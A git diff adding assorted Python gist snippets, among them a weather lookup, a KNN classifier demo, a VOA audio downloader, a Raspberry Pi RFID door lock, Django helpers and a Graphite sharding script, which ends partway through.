+#coding:utf-8
+'''
+@author：Byron
+新浪微博：http://weibo.com/ziyuetk
+'''
+import urllib2, json
+from city import city
+
+yourcity = raw_input("你想查那个城市的天气？")
+
+#测试yourcity变量是否可以返回你想要的值
+#print yourcity
+
+url = "http://www.weather.com.cn/data/cityinfo/" + city[yourcity] + ".html"
+
+#print url #同上
+
+response = urllib2.urlopen(url, timeout=10)
+city_dict = response.read()
+
+#此处打印出来是一个json格式的东西
+#print city_dict
+
+#用Python的json库来解析获取到的网页json内容
+jsondata = json.JSONDecoder().decode(city_dict)
+
+#定义几个变量用来储存解析出来的内容
+temp_low = jsondata['weatherinfo']['temp1']
+temp_high = jsondata['weatherinfo']['temp2']
+weather = jsondata['weatherinfo']['weather']
+
+print yourcity
+print weather
+print temp_low + "~" + temp_high
\ No newline at end of file
diff --git a/hard-gists/6065887/._snippet.py b/hard-gists/6065887/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6065887/._snippet.py differ
diff --git a/hard-gists/6065887/snippet.py b/hard-gists/6065887/snippet.py
new file mode 100644
index 00000000..09a116dc
--- /dev/null
+++ b/hard-gists/6065887/snippet.py
@@ -0,0 +1,28 @@
+import pandas as pd
+import pylab as pl
+from sklearn.neighbors import KNeighborsClassifier
+
+
+df = pd.read_csv("https://s3.amazonaws.com/demo-datasets/wine.csv")
+
+test_idx = np.random.uniform(0, 1, len(df)) <= 0.3
+train = df[test_idx==True]
+test = df[test_idx==False]
+
+features = ['density', 'sulphates', 'residual_sugar']
+
+results = []
+for n in range(1, 51, 2):
+    clf = KNeighborsClassifier(n_neighbors=n)
+    clf.fit(train[features], train['high_quality'])
+    preds = clf.predict(test[features])
+    accuracy = np.where(preds==test['high_quality'], 1, 0).sum() / float(len(test))
+    print "Neighbors: %d, Accuracy: %3f" % (n, accuracy)
+
+    results.append([n, accuracy])
+
+results = pd.DataFrame(results, columns=["n", "accuracy"])
+
+pl.plot(results.n, results.accuracy)
+pl.title("Accuracy with Increasing K")
+pl.show()
\ No newline at end of file
diff --git a/hard-gists/6069808/._snippet.py b/hard-gists/6069808/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6069808/._snippet.py differ
diff --git a/hard-gists/6069808/snippet.py b/hard-gists/6069808/snippet.py
new file mode 100644
index 00000000..d7fe8bf5
--- /dev/null
+++ b/hard-gists/6069808/snippet.py
@@ -0,0 +1,146 @@
+# -*- coding: utf8 -*-
+
+# 下载速度很慢，
+import urllib2, urllib
+import sys
+import os
+import socket
+import re
+
+import socks
+socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050, rdns=False)
+socket.socket = socks.socksocket
+
+# set urllib2 timeout
+socket.setdefaulttimeout(300)
+
+# config
+INDEX_PAGE = 'http://learningenglish.voanews.com/programindex.html'
+HOST = 'http://learningenglish.voanews.com'
+VOA_DIR = os.path.join('D:\\', 'VOA')
+RETRY_TIMES = 3
+
+# re patterns
+re_themes = re.compile('''<h4><a href=['"](.*?http.*?latest.*?)['"]>(.*?)</a></h4>''')
+re_articles = re.compile('<h4.*?(/content/.*?/\d+\.html).*?</h4>')
+re_article_title = re.compile('<title>\s+(.*)\s+</title>')
+re_article_pdf = re.compile('''href=['"](.*pdf)['"]''')
+re_audio_page = re.compile('/audio/Audio/\d+\.html')
+re_article_audio = re.compile('(http:.*mp3)')
+
+# helper
+def download_data( url ):
+    count = 0
+    while count < RETRY_TIMES:
+        count += 1
+        data = urllib2.urlopen(url).read()
+        if data:
+            return data
+        else:
+            continue
+    return ''
+
+def save_url_to_file(url, file_path):
+    # if file already exists and has the same length(in bytes) with the server, do not download data
+    # if server do not return Content-Length header, then do not download again
+    if os.path.isfile(file_path):
+        # check length
+        length_s = urllib.urlopen( url ).info().get('Content-Length', 0)
+        length_l = os.path.getsize( file_path )
+        #print 'length_s = ', repr(length_s)
+        #print 'length_l = ', repr(length_l)
+        if length_s == 0 or long(length_s) == (length_l):
+            return True
+    
+    # so, redownload the file
+    # when exception happen, delete the partly downloaded file
+    try:
+        urllib.urlretrieve(url, file_path, reporthook)
+    except:
+        os.remove( file_path)
+        raise
+    else:
+        return True
+    
+# show download progress
+def reporthook(blocks_read,block_size,total_size):  
+    if not blocks_read:  
+        print ("Connection opened")  
+    if total_size <0:  
+        #print "\rRead %d blocks"  % blocks_read
+        sys.stdout.write("\rRead %d blocks   "  % blocks_read)
+        sys.stdout.flush()
+    else:  
+        #print "\rdownloading: %d KB, totalsize: %d KB" % (blocks_read*block_size/1024.0,total_size/1024.0)
+        sys.stdout.write("\rdownloading: %d KB, totalsize: %d KB   " % (blocks_read*block_size/1024.0,total_size/1024.0))
+        sys.stdout.flush()
+    	
+# get themes
+# theme name and page for latest articles
+print 'From %s parsing themes ...' % INDEX_PAGE
+html = download_data(INDEX_PAGE)
+themes = re.findall(re_themes, html)
+if themes:
+    themes = set(themes)
+    print 'Got %d themes:' % len(themes)
+    for theme in themes:
+        print 'Theme: %s. Page: %s.' % (theme[1], theme[0])
+else:
+    sys.exit()
+  
+for theme in themes:
+    theme_name = theme[1]
+    theme_index = theme[0]
+
+    # get article's page
+    theme_html = download_data(theme_index)
+    if not theme_html: sys.exit()
+    article_urls = re.findall(re_articles, theme_html)
+
+    for article in article_urls:
+        article_url = HOST + article
+        print 'Getting info from %s' % article_url
+        article_html = download_data(article_url)
+        if not article_html: sys.exit()
+        print 'Got it!'
+        
+        try:
+            # get article title          
+            article_title = re.search(re_article_title, article_html).groups()
+            if not article_title: sys.exit()
+            article_title =  '-'.join( re.findall('(\w+)', article_title[0]) )
+            #article_title = '-'.join( article_title.split(' ') )
+            print 'Got article title: %s' % article_title
+          
+            # get pdf url
+            article_pdf = re.search(re_article_pdf, article_html).groups()
+            if not article_pdf: sys.exit()
+            article_pdf = article_pdf[0]
+            print 'Got pdf url: %s' % article_pdf
+            
+            # get audio url
+            audio_url = HOST + re.search(re_audio_page, article_html).group()
+            print 'Getting info from audio_url %s' % audio_url
+            audio_html = download_data(audio_url)
+            if not audio_html: sys.exit()
+            article_audio = re.search(re_article_audio, audio_html).group()
+            print 'Got audio url: %s' % article_audio
+
+            print 'Downloading PDF ...'
+            file = os.path.join(VOA_DIR, article_title + '.pdf')
+            if save_url_to_file( article_pdf, file):
+                print 'OK'
+            else:
+                print 'Failed'
+            print 'Downloading MP3 ...'
+            #print str(article_audio)
+            file = os.path.join(VOA_DIR, article_title + '.mp3')
+            if save_url_to_file( article_audio, file):
+                print 'OK'
+            else:
+                print 'Failed' 
+            
+        except AttributeError as e:
+            pass
+                       
+print 'end'
\ No newline at end of file
diff --git a/hard-gists/6074452/._snippet.py b/hard-gists/6074452/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6074452/._snippet.py differ
diff --git a/hard-gists/6074452/snippet.py b/hard-gists/6074452/snippet.py
new file mode 100644
index 00000000..7da4e69e
--- /dev/null
+++ b/hard-gists/6074452/snippet.py
@@ -0,0 +1,106 @@
+#!/usr/bin/python
+
+import sys
+import os
+from Foundation import NSDate
+
+from Foundation import NSPredicate
+
+def doComparison(comp_string, obj):
+    print 'Comparison: %s' % comp_string
+    try:
+        p = NSPredicate.predicateWithFormat_(comp_string)
+    except Exception, e:
+        print >> sys.stderr, "WARNING: %s" % e
+        print False
+        print
+        return
+        
+    print p.evaluateWithObject_(obj)
+    print
+
+info = {}
+info['os_vers'] = '10.8.2'
+info['os_vers_patch'] = 2
+info['arch'] = 'x86_64'
+info['munki_version'] = '0.8.3.1489.0'
+info['catalogs'] = ['testing', 'production']
+info['ip_addresses'] = ['172.30.161.160', '172.30.157.57']
+info['ip_address'] = '172.30.161.160'
+info['date'] = NSDate.date()
+info['machine_model'] = 'MacBookAir5,2'
+
+print info
+print
+
+predicate = 'NOT machine_model BEGINSWITH "MacBookAir"'
+doComparison(predicate, info)
+
+comparisonstring = 'nonexistent == nil'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'machine_model LIKE "*Book*"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'date > CAST("2013-01-02T00:00:00Z", "NSDate")'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'CAST(date, "NSString") > "2013-01-02T00:00:00Z"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'date > CAST("2012-12-19T11:00:00Z", "NSDate")'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'NOT catalogs CONTAINS "development"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'smurf LIKE "10.7*"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'os_vers IN {"10.7.1", "10.7.2", "10.7.11"}'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'os_vers MATCHES "10\.7.*"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'os_vers BEGINSWITH "10.7"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'os_vers BEGINSWITH "10.6"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'os_vers >= "10.7.1"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'os_vers >= "10.7.3"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'munki_version >= "0.8.3.1489.0"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'arch = "x86_64"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'arch = "i386"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'arch = "x86_64" OR arch = "i386"'
+doComparison(comparisonstring, info)
+
+comparisonstring = 'arch CONTAINS "86"'
+doComparison(comparisonstring, info)
+
+comparsionstring = 'arch = "x86_64" AND os_vers > "10.7.2"'
+doComparison(comparsionstring, info)
+
+comparsionstring = 'ip_addresses CONTAINS "172.30.161"'
+doComparison(comparsionstring, info)
+
+comparsionstring = 'ip_addresses[0] LIKE "172.30.161.*"'
+doComparison(comparsionstring, info)
+
+comparsionstring = 'ANY ip_addresses LIKE "172.30.161."'
+doComparison(comparsionstring, info)
+
+comparsionstring = '(os_vers BEGINSWITH "10.7" AND os_vers_patch >= 5) OR (os_vers BEGINSWITH "10.8" AND os_vers_patch >= 2)'
+doComparison(comparsionstring, info)
\ No newline at end of file
diff --git a/hard-gists/6078248/._snippet.py b/hard-gists/6078248/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6078248/._snippet.py differ
diff --git a/hard-gists/6078248/snippet.py b/hard-gists/6078248/snippet.py
new file mode 100644
index 00000000..c6b993e8
--- /dev/null
+++ b/hard-gists/6078248/snippet.py
@@ -0,0 +1,19 @@
+"""
+Here models are in different modules and the models.py imports them from different modules like this
+
+from model1 import *        # or the name of models you want to import
+from model2 import User
+
+or you might write all your models in models.py 
+"""
+
+
+from django.db.models.base import ModelBase
+from django.contrib import admin
+import models
+
+
+for model_name in dir(models):
+    model = getattr(models, model_name)
+    if isinstance(model, ModelBase):
+        admin.site.register(model)
\ No newline at end of file
diff --git a/hard-gists/6085344/._snippet.py b/hard-gists/6085344/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6085344/._snippet.py differ
diff --git a/hard-gists/6085344/snippet.py b/hard-gists/6085344/snippet.py
new file mode 100644
index 00000000..8c9cb866
--- /dev/null
+++ b/hard-gists/6085344/snippet.py
@@ -0,0 +1,74 @@
+#!/usr/bin/python2
+import serial
+import re, sys, signal, os, time, datetime
+import RPi.GPIO as GPIO
+
+BITRATE = 9600
+GPIO.setmode(GPIO.BOARD)
+GPIO.setup(7, GPIO.OUT)
+GPIO.setup(3, GPIO.IN, pull_up_down=GPIO.PUD_UP)
+
+# Lock the door on boot
+GPIO.output(7, GPIO.HIGH)
+
+pidfile = daemon.pidfile.PIDLockFile("/var/run/bearclaw.pid")
+
+CARDS = [
+'060090840715',
+'840034BD3E33',
+'6A003E3A2C42',
+'840034D5DDB8',
+'6A003E6F556E',
+'840034CD324F',
+'6A003E61AC99',
+'6A003E247E0E',
+'6A003E77BD9E',
+'840034D6CEA8'
+]
+
+def signal_handler(signal, frame):
+  print "Closing Bearclaw"
+  GPIO.output(7, GPIO.LOW)  # Unlock the door on program exit
+  GPIO.cleanup()
+  ser.close()
+  sys.exit(0)
+
+def unlock_door(duration):
+  print "Unlocking door for %d seconds" % duration
+  GPIO.output(7, GPIO.LOW)
+  time.sleep(duration)
+  print "Locking the door"
+  GPIO.output(7, GPIO.HIGH)
+
+if __name__ == '__main__':
+    buffer = ''
+    ser = serial.Serial('/dev/ttyUSB0', BITRATE, timeout=0)
+    rfidPattern = re.compile(b'[\W_]+')
+    signal.signal(signal.SIGINT, signal_handler)
+
+    while True:
+      # Read data from RFID reader
+      buffer = buffer + ser.read(ser.inWaiting())
+      if '\n' in buffer:
+        lines = buffer.split('\n')
+        last_received = lines[-2]
+        match = rfidPattern.sub('', last_received)
+
+        if match:
+          print match
+          if match in CARDS:
+            print 'card authorized'
+            unlock_door(10)
+          else:
+            print 'unauthorized card'
+
+        # Clear buffer
+        buffer = ''
+        lines = ''
+
+      # Listen for Exit Button input
+      if not GPIO.input(3):
+        print "button pressed"
+        unlock_door(5)
+
+      time.sleep(0.1)
\ No newline at end of file
diff --git a/hard-gists/608595/._snippet.py b/hard-gists/608595/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/608595/._snippet.py differ
diff --git a/hard-gists/608595/snippet.py b/hard-gists/608595/snippet.py
new file mode 100644
index 00000000..47b72647
--- /dev/null
+++ b/hard-gists/608595/snippet.py
@@ -0,0 +1,291 @@
+'''Manager-based polymorphic model inheritance.
+
+This module provides a non-intrusive approach for accessing polymorphically
+instances of a model hierarchy. Non-intrusive means:
+  - It does not require extending a custom ``Model`` base class or metaclass.
+  - It does not require a ``ForeignKey`` to ``ContentType`` or the ``contenttypes``
+    app in general. Instead the real class of an instance is determined based on
+    the value (**polymorphic identity**) of a user-specified discriminating field
+    (**polymorphic on**).
+  - It does not override the default (or any other) model ``Manager`` (unless
+    explicitly shadowed). Standard (non-polymorphic) managers and querysets can
+    be still available.
+  - It does not have "magic" hidden side effects.
+
+A single :func:`polymorphic_manager` function is exported. To use it:
+
+1. Create a polymorphic manager on the parent Model of the hierarchy::
+
+    from polymorphic import polymorphic_manager
+
+    class Player(models.Model):
+        hitpoints = models.PositiveIntegerField(default=100)
+
+        # polymorphic_on field
+        race = models.SmallIntegerField(choices=enumerate(['Elf', 'Troll', 'Human']))
+
+        # keep the default (non-polymorphic) manager
+        objects = models.Manager()
+
+        # a new manager polymorphic on Player.race
+        objects_by_race = polymorphic_manager(on=race)
+
+        def __unicode__(self):
+            return u'Player(%s)' % self.pk
+
+2. Create a polymorphic manager (usually default) on each child Model by
+   calling the :meth:`.polymorphic_identity` method of the parent polymorphic
+   manager and specifying the polymorphic identity for this model::
+
+    class Elf(Player):
+        bows = models.PositiveIntegerField(default=0)
+
+        # polymorphic manager for race=0
+        objects = Player.objects_by_race.polymorphic_identity(0)
+
+        def __unicode__(self):
+            return u'Elf(%s)' % self.pk
+
+    class Troll(Player):
+        axes = models.PositiveIntegerField(default=0)
+
+        # polymorphic manager for race=1
+        objects = Player.objects_by_race.polymorphic_identity(1)
+
+        def __unicode__(self):
+            return u'Troll(%s)' % self.pk
+
+   Proxy models work too::
+
+    class Human(Player):
+
+        # polymorphic manager for race=2
+        objects = Player.objects_by_race.polymorphic_identity(2)
+
+        class Meta:
+            proxy = True
+
+        def __unicode__(self):
+            return u'Human(%s)' % self.pk
+
+3. And that's all, you can access instances polymorphically or non polymorphically::
+
+    def test():
+        from random import choice
+
+        # create a bunch of random type players
+        for i in xrange(10):
+            choice([Elf, Troll, Human]).objects.create()
+
+        # retrieval through the polymorphic manager returns instances of the right class
+        print "Automatically downcast players:", Player.objects_by_race.all()
+
+        # retrieval through default Player manager returns Player instances as usual
+        players = Player.objects.all()
+        print "Non-downcast players:", players
+
+        # but they cast be explicitly downcast to the right class
+        print "Explicitly downcast players:", map(Player.objects_by_race.downcast, players)
+
+        # retrieving the instances of a specific class works as expected
+        print "Elfs:", Elf.objects.all()
+        print "Trolls:", Troll.objects.all()
+        print "Humans:", Human.objects.all()
+
+    >>> test()
+    Automatically downcast players: [<Troll: Troll(1)>, <Human: Human(2)>, <Human: Human(3)>, <Elf: Elf(4)>, <Human: Human(5)>, <Troll: Troll(6)>, <Troll: Troll(7)>, <Human: Human(8)>, <Troll: Troll(9)>, <Elf: Elf(10)>]
+    Non-downcast players: [<Player: Player(1)>, <Player: Player(2)>, <Player: Player(3)>, <Player: Player(4)>, <Player: Player(5)>, <Player: Player(6)>, <Player: Player(7)>, <Player: Player(8)>, <Player: Player(9)>, <Player: Player(10)>]
+    Explicitly downcast players: [<Troll: Troll(1)>, <Human: Human(2)>, <Human: Human(3)>, <Elf: Elf(4)>, <Human: Human(5)>, <Troll: Troll(6)>, <Troll: Troll(7)>, <Human: Human(8)>, <Troll: Troll(9)>, <Elf: Elf(10)>]
+    Elfs: [<Elf: Elf(4)>, <Elf: Elf(10)>]
+    Trolls: [<Troll: Troll(1)>, <Troll: Troll(6)>, <Troll: Troll(7)>, <Troll: Troll(9)>]
+    Humans: [<Human: Human(2)>, <Human: Human(3)>, <Human: Human(5)>, <Human: Human(8)>]
+'''
+
+__all__ = ['polymorphic_manager']
+
+from itertools import imap
+from django.db.models import Manager
+from django.db.models.signals import pre_init
+from django.core.exceptions import ImproperlyConfigured
+
+
+def polymorphic_manager(on):
+    '''Create a model Manager for accessing polymorphic Model instances.
+
+    :param on: The field used to determine the real class of a model instance.
+    '''
+    # This creates a thin wrapper class around PolymorphicParentManager. There
+    # are two reasons for not using PolymorphicParentManager directly:
+    # 1. Preserve the __init__ signature. Regular Manager.__init__ doesn't take
+    #    arguments but PolymorphicParentManager has to take the polymorphic_on
+    #    field. This breaks code that attempts to subclass it and call the
+    #    super __init__.
+    # 2. Make all manager instances for this field share the same _id2model
+    #    mapping. This is necessary, for example, to support polymorphic "related
+    #    managers" at the other side of a ForeignKey or both sides of a
+    #    ManyToManyField.
+    parent = PolymorphicParentManager(on)
+    class PolymorphicManager(PolymorphicParentManager):
+        def __init__(self):
+            PolymorphicParentManager.__init__(self, on, parent._id2model)
+    return PolymorphicManager()
+
+
+class PolymorphicParentManager(Manager):
+    '''Polymorphic Manager for the parent Model of a hierarchy.
+
+    All Manager methods that return model instances (``all``, ``iterator``,
+    ``get``, ``create``, ``get_or_create``, etc.) automatically downcast them to
+    the right class. Downcasting can be also done explicitly on any model
+    instance using the :meth:`downcast` method.
+    '''
+
+    def __init__(self, on, id2model=None):
+        '''Instantiate a new PolymorphicParentManager.
+
+        :param on: The field used to determine the real class of a model instance.
+        :param id2model: An optional mapping of each polymorphic identity to the
+            respective Model subclass.
+        '''
+        super(PolymorphicParentManager, self).__init__()
+        self._field = on
+        if id2model is None:
+            id2model = {}
+        self._id2model = id2model
+
+    @property
+    def polymorphic_on(self):
+        '''The name of the field this manager is polymorphic on.'''
+        return self._field.name
+
+    def polymorphic_identity(self, identity, autoinit=True):
+        '''Create a polymorphic Manager for the given ``identity``.
+
+        :param identity: The value of the :attr:`polymorphic_on` field.
+        :param autoinit: If True (default), a ``pre_init`` signal handler is
+            connected to the Model of the newly created manager, that sets the
+            :attr:`polymorphic_on` field to ``identity`` (unless an explicit
+            identity is passed). Usually there is no reason to set this to False.
+        '''
+        return PolymorphicChildManager(self, identity, autoinit)
+
+    def downcast(self, obj, _hit_db=True):
+        '''Return an instance having the real class of ``obj``.
+
+        If ``obj`` is already an instance of the real class it is returned as
+        is, otherwise a new instance is returned.
+
+        :param obj: A model instance.
+        :param _hit_db: Mainly for internal usage, if unsure leave it to True.
+            Long answer: If ``obj`` has a primary key and its real model class
+            is not a proxy, normally the database should be queried for it. In
+            case it is known in advance that ``obj`` is not in the database,
+            or if the full ``obj`` state is not important, pass ``_hit_db=False``
+            to save a database roundtrip.
+        '''
+        polymorphic_value = getattr(obj, self.polymorphic_on)
+        model = self._id2model.get(polymorphic_value, obj.__class__)
+        if model is obj.__class__: # or polymorphic value is unknown
+            return obj
+        if _hit_db and obj.pk is not None and not model._meta.proxy:
+            try:
+                return model._default_manager.get(pk=obj.pk)
+            except model.DoesNotExist:
+                pass
+        cast_obj = model(pk=obj.pk)
+        # XXX: dumping the whole obj.__dict__ as a way to copy the state is
+        # not foolproof but that's probably the best we can do
+        cast_obj.__dict__.update(obj.__dict__)
+        return cast_obj
+
+    def get_query_set(self):
+        queryset = super(PolymorphicParentManager, self).get_query_set()
+        # blend the super queryset's class with the DowncastingQuerySetMixin
+        queryset_subclass = DowncastingQuerySetMixin._get_subclass_with(queryset.__class__)
+        # and return a clone of the queryset having the blended class
+        # also pass the downcast bound method required by DowncastingQuerySetMixin
+        return queryset._clone(klass=queryset_subclass, downcast=self.downcast)
+
+
+class PolymorphicChildManager(Manager):
+    '''Polymorphic manager for the children Models of a hierarchy.
+
+    Querysets created by this manager are filtered to return only objects with
+    the polymorphic identity value of the manager.
+    '''
+
+    def __init__(self, polymorphic_manager, identity, autoinit=True):
+        super(PolymorphicChildManager, self).__init__()
+        self._polymorphic_manager = polymorphic_manager
+        self._identity = identity
+        self._autoinit = autoinit
+
+    def downcast(self, obj, _hit_db=True):
+        return self._polymorphic_manager.downcast(obj, _hit_db)
+    downcast.__doc__ = PolymorphicParentManager.downcast.__doc__
+
+    def contribute_to_class(self, cls, name):
+        super(PolymorphicChildManager, self).contribute_to_class(cls, name)
+        polymorphic_on = self._polymorphic_manager.polymorphic_on
+        identity = self._identity
+        id2model = self._polymorphic_manager._id2model
+        if identity in id2model:
+             raise ImproperlyConfigured(
+                'More than one subclasses with the same identity (%s.%s=%s)' %
+                (self._polymorphic_manager.model.__name__, polymorphic_on, identity))
+        id2model[identity] = cls
+        if self._autoinit:
+            def preset_identity(sender, args, kwargs, **_):
+                if polymorphic_on not in kwargs:
+                    kwargs[polymorphic_on] = identity
+            pre_init.connect(preset_identity, sender=cls, weak=False)
+
+    def get_query_set(self):
+        cond = {self._polymorphic_manager.polymorphic_on: self._identity}
+        return super(PolymorphicChildManager, self).get_query_set().filter(**cond)
+
+
+class DowncastingQuerySetMixin(object):
+    '''Mixin class to be used along with a QuerySet class for automatic downcasting.
+
+    Instances must have a ``downcast`` method with the signature of
+    :meth:`PolymorphicParentManager.downcast`.
+    '''
+
+    def iterator(self):
+        return imap(self.downcast, super(DowncastingQuerySetMixin, self).iterator())
+
+    def create(self, **kwargs):
+        # make a clone of this queryset but replace self.model with the real one
+        # we don't care about the full instance state, we just need the class
+        cast_obj = self.downcast(self.model(**kwargs), _hit_db=False)
+        clone = self._clone(model=cast_obj.__class__)
+        return super(DowncastingQuerySetMixin, clone).create(**kwargs)
+
+    def get_or_create(self, **kwargs):
+        obj_created = super(DowncastingQuerySetMixin, self).get_or_create(**kwargs)
+        if obj_created[1]:
+            # the real-class object is not in the db, so don't hit it again
+            cast_obj = self.downcast(obj_created[0], _hit_db=False)
+            cast_obj.save(force_insert=True, using=self.db)
+            obj_created = cast_obj, obj_created[1]
+        # else get() has already downcast it; nothing else to do
+        return obj_created
+
+    def _clone(self, **kwargs):
+        kwargs['downcast'] = self.downcast  # propagate the downcast callable
+        return super(DowncastingQuerySetMixin, self)._clone(**kwargs)
+
+    # mapping of a Queryset (sub)class to a subclass of it with DowncastingQuerySetMixin
+    _cached_subclasses = {}
+
+    @classmethod
+    def _get_subclass_with(cls, qset_cls):
+        if issubclass(qset_cls, cls):
+            return qset_cls     # already a DowncastingQuerySetMixin subclass
+        try:
+            return cls._cached_subclasses[qset_cls]
+        except KeyError:
+            sub_cls = type(cls.__name__ + qset_cls.__name__, (cls, qset_cls), {})
+            cls._cached_subclasses[qset_cls] = sub_cls
+            return sub_cls
diff --git a/hard-gists/6087798/._snippet.py b/hard-gists/6087798/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6087798/._snippet.py differ
diff --git a/hard-gists/6087798/snippet.py b/hard-gists/6087798/snippet.py
new file mode 100644
index 00000000..6f9dcf6f
--- /dev/null
+++ b/hard-gists/6087798/snippet.py
@@ -0,0 +1,53 @@
+import theano
+from pylearn2.models import mlp
+from pylearn2.training_algorithms import sgd
+from pylearn2.termination_criteria import EpochCounter
+from pylearn2.datasets.dense_design_matrix import DenseDesignMatrix
+import numpy as np
+from random import randint
+
+
+class XOR(DenseDesignMatrix):
+    def __init__(self):
+        self.class_names = ['0', '1']
+        X = [[randint(0, 1), randint(0, 1)] for _ in range(1000)]
+        y = []
+        for a, b in X:
+            if a + b == 1:
+                y.append([0, 1])
+            else:
+                y.append([1, 0])
+        X = np.array(X)
+        y = np.array(y)
+        super(XOR, self).__init__(X=X, y=y)
+
+
+# create XOR dataset
+ds = XOR()
+# create hidden layer with 2 nodes, init weights in range -0.1 to 0.1 and add
+# a bias with value 1
+hidden_layer = mlp.Sigmoid(layer_name='hidden', dim=2, irange=.1, init_bias=1.)
+# create Softmax output layer
+output_layer = mlp.Softmax(2, 'output', irange=.1)
+# create Stochastic Gradient Descent trainer that runs for 400 epochs
+trainer = sgd.SGD(learning_rate=.05, batch_size=10, termination_criterion=EpochCounter(400))
+layers = [hidden_layer, output_layer]
+# create neural net that takes two inputs
+ann = mlp.MLP(layers, nvis=2)
+trainer.setup(ann, ds)
+# train neural net until the termination criterion is true
+while True:
+    trainer.train(dataset=ds)
+    ann.monitor.report_epoch()
+    ann.monitor()
+    if not trainer.continue_learning(ann):
+        break
+
+inputs = np.array([[0, 0]])
+print ann.fprop(theano.shared(inputs, name='inputs')).eval()
+inputs = np.array([[0, 1]])
+print ann.fprop(theano.shared(inputs, name='inputs')).eval()
+inputs = np.array([[1, 0]])
+print ann.fprop(theano.shared(inputs, name='inputs')).eval()
+inputs = np.array([[1, 1]])
+print ann.fprop(theano.shared(inputs, name='inputs')).eval()
diff --git a/hard-gists/6092292/._snippet.py b/hard-gists/6092292/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6092292/._snippet.py differ
diff --git a/hard-gists/6092292/snippet.py b/hard-gists/6092292/snippet.py
new file mode 100644
index 00000000..95401b4f
--- /dev/null
+++ b/hard-gists/6092292/snippet.py
@@ -0,0 +1,126 @@
+# Helper script to turn a single monolithic WHISPER_DIR into one that is
+# allocated based on the shard id (carbon-cache instance name)
+#
+# Take a single WHISPER_DIR such as '/opt/graphite/storage/whisper' and
+# figure out how to divide them up into shards based on the given list of
+# carbon-cache shard instances and replication_factor
+#
+# The output will be multiple text files that can be used with `rsync --files-from=`
+# to copy the right .wsp files to the correct nodes.
+#
+# example usage:
+#
+#   $ PYTHONPATH=/opt/graphite/lib/ python whisper-shard.py
+#
+#       Beginning scan of: /opt/graphite/storage/whisper
+#
+#       Finished scan. Writing file lists ...
+#
+#        Saving file list: 16.files ...
+#        Saving file list: 10.files ...
+#        Saving file list: 05.files ...
+#        Saving file list: 08.files ...
+#        Saving file list: 20.files ...
+#        Saving file list: 09.files ...
+#        Saving file list: 27.files ...
+#        Saving file list: 29.files ...
+#        Saving file list: 13.files ...
+#        Saving file list: 23.files ...
+#        Saving file list: 07.files ...
+#        Saving file list: 31.files ...
+#        Saving file list: 15.files ...
+#        Saving file list: 12.files ...
+#        Saving file list: 24.files ...
+#        Saving file list: 11.files ...
+#        Saving file list: 25.files ...
+#        Saving file list: 17.files ...
+#        Saving file list: 28.files ...
+#        Saving file list: 22.files ...
+#        Saving file list: 14.files ...
+#        Saving file list: 18.files ...
+#        Saving file list: 26.files ...
+#        Saving file list: 06.files ...
+#        Saving file list: 30.files ...
+#        Saving file list: 01.files ...
+#        Saving file list: 21.files ...
+#        Saving file list: 02.files ...
+#        Saving file list: 03.files ...
+#        Saving file list: 32.files ...
+#        Saving file list: 19.files ...
+#        Saving file list: 04.files ...
+#
+# After the file lists are created, rsync the *.wsp files to the correct directory
+# on the correct nodes.
+#
+#   $ rsync -r --files-from=01.files /opt/graphite/storage/whisper/ vnode-01:/opt/graphite/storage/whisper/01/
+#   $ rsync --r -files-from=02.files /opt/graphite/storage/whisper/ vnode-02:/opt/graphite/storage/whisper/02/
+#    ... etc ...
+#
+# Or, some bash magic to simplify the process:
+#
+#   $ for i in {01..32}; do rsync -r --files-from=$i.files /opt/graphite/storage/whisper/ vnode-$i:/opt/graphite/storage/whisper/$i/ ; done
+#
+
+import os
+import os.path
+
+from carbon.routers import ConsistentHashingRouter
+
+
+DEBUG = False
+
+
+# 32 shards, 01-32.
+REPLICATION_FACTOR = 2
+WHISPER_PATH = '/opt/graphite/storage/whisper'
+DESTINATIONS = [
+    "vnode-01:3001:01", "vnode-02:3002:02", "vnode-03:3003:03", "vnode-04:3004:04",
+    "vnode-05:3005:05", "vnode-06:3006:06", "vnode-07:3007:07", "vnode-08:3008:08",
+    "vnode-09:3009:09", "vnode-10:3010:10", "vnode-11:3011:11", "vnode-12:3012:12",
+    "vnode-13:3013:13", "vnode-14:3014:14", "vnode-15:3015:15", "vnode-16:3016:16",
+    "vnode-17:3017:17", "vnode-18:3018:18", "vnode-19:3019:19", "vnode-20:3020:20",
+    "vnode-21:3021:21", "vnode-22:3022:22", "vnode-23:3023:23", "vnode-24:3024:24",
+    "vnode-25:3025:25", "vnode-26:3026:26", "vnode-27:3027:27", "vnode-28:3028:28",
+    "vnode-29:3029:29", "vnode-30:3030:30", "vnode-31:3031:31", "vnode-32:3032:32"
+]
+
+# use the ConsistentHashingRouter from carbon-relay
+router = ConsistentHashingRouter(replication_factor=REPLICATION_FACTOR)
+for dest in DESTINATIONS:
+    router.addDestination(dest.split(':'))
+
+file_map = {}
+count = 0
+
+print "Beginning scan of: %s" % WHISPER_PATH
